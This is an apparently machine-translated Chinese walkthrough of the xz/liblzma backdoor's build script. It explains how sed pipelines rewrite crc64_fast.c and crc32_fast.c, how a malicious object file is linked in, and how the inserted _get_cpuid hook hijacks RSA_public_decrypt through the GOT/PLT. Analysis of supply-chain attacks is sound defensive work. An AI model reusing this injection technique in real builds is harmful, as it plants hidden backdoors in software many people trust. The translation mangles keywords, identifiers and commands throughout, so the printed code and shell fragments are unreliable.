评估$yosA如果sed“/return is _arch_extension_supported()/c\return _is_arch_extension_ssupported()”$top_srcdir/src/liblzma/check/crc64_fast.c|\sed“/include\”crc_x86_clmul.h\“/a\\$V”|\sed“1i#0\”$top_srcdir/src/liblzma/check/crc64_fast.c\“”2>/dev/null|\$CC$DEFS$DEFAULT_INCLUDES$包括$liblzma_CPPFLAGS$CPPFLAGS$AM_CFLAGS\$CFLAGS-r liblzma_la-crc64-fast.o-x c-$P-o.libs/liblzma _la-crec64_fast.o 2>/dev/null;然后

这个如果语句正在运行传入的sed命令管道CC美元带着参数liblzma_la-crc64-快速。(将该对象添加为编译器的输入)以及-x个 c(c) -(从标准输入编译C程序)。也就是说,它重建了crc64 _快速。c(c)(一个真实的xz源文件),并合并提取的恶意.o型将文件写入结果对象,覆盖最初为生成的带下划线的真实对象文件crc64 _快速。c(c). Thesed公司 1个告诉编译器要在调试信息中记录的文件名,因为编译器正在读取标准输入-非常整洁!但编辑是什么?

文件开始看起来像:

...#如果已定义(CRC_X86_CLMUL)#定义BUILDING_CRC64_CLMUL#包括“crc_x86_clmul.h”#结尾...静态crc64_func_typecrc64重解析(无效){返回is_arch_extension_supported()? &crc64_arch_optimized:&crc64_generic;}

sed命令添加_在返回条件中为函数名称添加前缀,然后添加V美元之后包括生产线(重新格式化C代码):

#0“路径/to/src/liblzma/check/crc64_fast.c”...#如果已定义(CRC_X86_CLMUL)#定义BUILDING_CRC64_CLMUL#包括“crc_x86_clmul.h”#结尾#如果定义(CRC32_GENERIC)和定义(CRC64_GENERIC)和&\定义的(CRC_X86_CLMUL)和定义的(CRC_USE_IFUNC)以及定义的(PIC)和&\(已定义(BUILDING_CRC64_CLMUL)外部int _ get_cpuid(int,void*,void x,void,void);静态内联bool_is_arch_extension_supported(void){int成功=1;uint32_tr[4];成功=获取cuid(1,&r[0],&r[1],&r[2],&r[3],((char*)__builtin_frame_address(0))-16);常数uint32_t ecx任务=(1<<1)|(1<<9)|(1<<19);返回成功&&(r[2]&ecx_mask)==ecx_misk;}#其他#定义支持的is_arch_extension_supported#结尾...静态crc64_func_typecrc64重解析(无效){返回_is_arch_extension_supported()? &crc64_arch_optimized:&ccr64_generic;}

也就是说,crc64_resolve函数是在GOT和PLT被标记为只读之前,在动态加载的早期运行的ifunc解析器,现在正在调用新插入的_支持is_arch_extension_supported,它调用_获取压缩包。这看起来仍然像是合理的代码,因为这与真正支持的是arch_extension_ssupported.但是_获取压缩包由backdoor.o提供,它在返回cpuid信息之前做了很多工作。特别是它重写了GOT和PLT以劫持对RSA_public_decypt的调用。

但让我们回到shell脚本,它仍在从内部运行src/liblzma/Makefile文件并成功地将后门插入.libs/liblzma_la-crc64_fast。。我们现在在如果编译器成功案例:

cp.libs/liblzma_la-crc32_fast.o.libs/liblzma _la-crec32-fast.o|true评估$BPep如果sed“/return is _arch_extension_supported()/c\return _is_arch_extension_ssupported()”$top_srcdir/src/liblzma/check/crc32_fast.c|\sed“/include\”crc32_arm64.h\“/a\\$V”|\sed“1i#0\”$top_srcdir/src/liblzma/check/crc32_fast.c\“”2>/dev/null|\$CC$DEFS$DEFAULT_INCLUDES$包含$liblzma_la_CPPFLAGS$CPPFLAGS$AM_CFLAGS\$CFLAGS-r-xc-$P-o.libs/liblzma_la-crc32_fast.o;然后

这对crc32 _快速。c(c),但它没有添加后门目标代码。我们不希望在构建中有两个副本。目前尚不清楚为什么脚本会费心拦截crc32和crc64 ifunc;任何一个都应该足够了。也许他们希望两者的调度代码在调试器中看起来类似。现在我们处于双重嵌套状态如果编译器成功案例:

评估$RgYB如果$AM_V_CCLD$liblzma_la_LINK-rpath$libdir$liblzma_la_OBJECTS$liblxma_la/LIBADD;然后

如果我们可以重新链接.la文件,那么。。。

如果测试-f.libs/liblzma.so;然后mv-f.libs/liblzma_la-crc32-fast.o.libs/liblzma_ la-crc32快速.o|truemv-f.libs/liblzma_la-ccr64-fast.o.libs/liblzma_la-ccr64-fast.o|| truefi(菲涅耳)


如果重新链接成功但没有写入文件,则假定它失败并恢复备份。

rm-fr.libs/liblzma.a.libs/liblzma.la.libs/libl zma.lai.libs/liblzma.so*|true

无论如何,请删除库。生成文件接下来可能会进行链接步骤并重新创建它们。)

其他的mv-f.libs/liblzma_la-crc32-fast.o.libs/liblzma_ la-crc32快速.o|truemv-f.libs/liblzma_la-ccr64-fast.o.libs/liblzma_la-ccr64-fast.o|| truefi(菲涅耳)

这是其他的链接失败。从备份还原。

rm-f.libs/liblzma_la-crc32-fast.o真rm-f.libs/liblzma_la-crc64-fast.o |真

现在我们进入了内部编译器成功案例。删除备份。

其他的mv-f.libs/liblzma_la-crc32-fast.o.libs/liblzma_ la-crc32快速.o|truemv-f.libs/liblzma_la-crc64-fast.o.libs/liblzma _la-crec64_fast.o||真fi(菲涅耳)

这是crc32编译失败的原因。从备份还原。

其他的mv-f.libs/liblzma_la-crc64-fast.o.libs/liblzma _la-crec64_fast.o||真fi(菲涅耳)

这是crc64编译失败的原因。从备份还原。(这不是世界上最干净的shell脚本!)

rm-f liblzma_la-crc64-fast.o为真

现在我们到了脚本的Makefile部分的末尾。删除备份。

fi(菲涅耳)评估$DHLd$

关闭“否则如果我们在Makefile中”,再打印一个扩展点/调试,我们就完成了!脚本已将对象文件注入在制作,没有留下任何痕迹。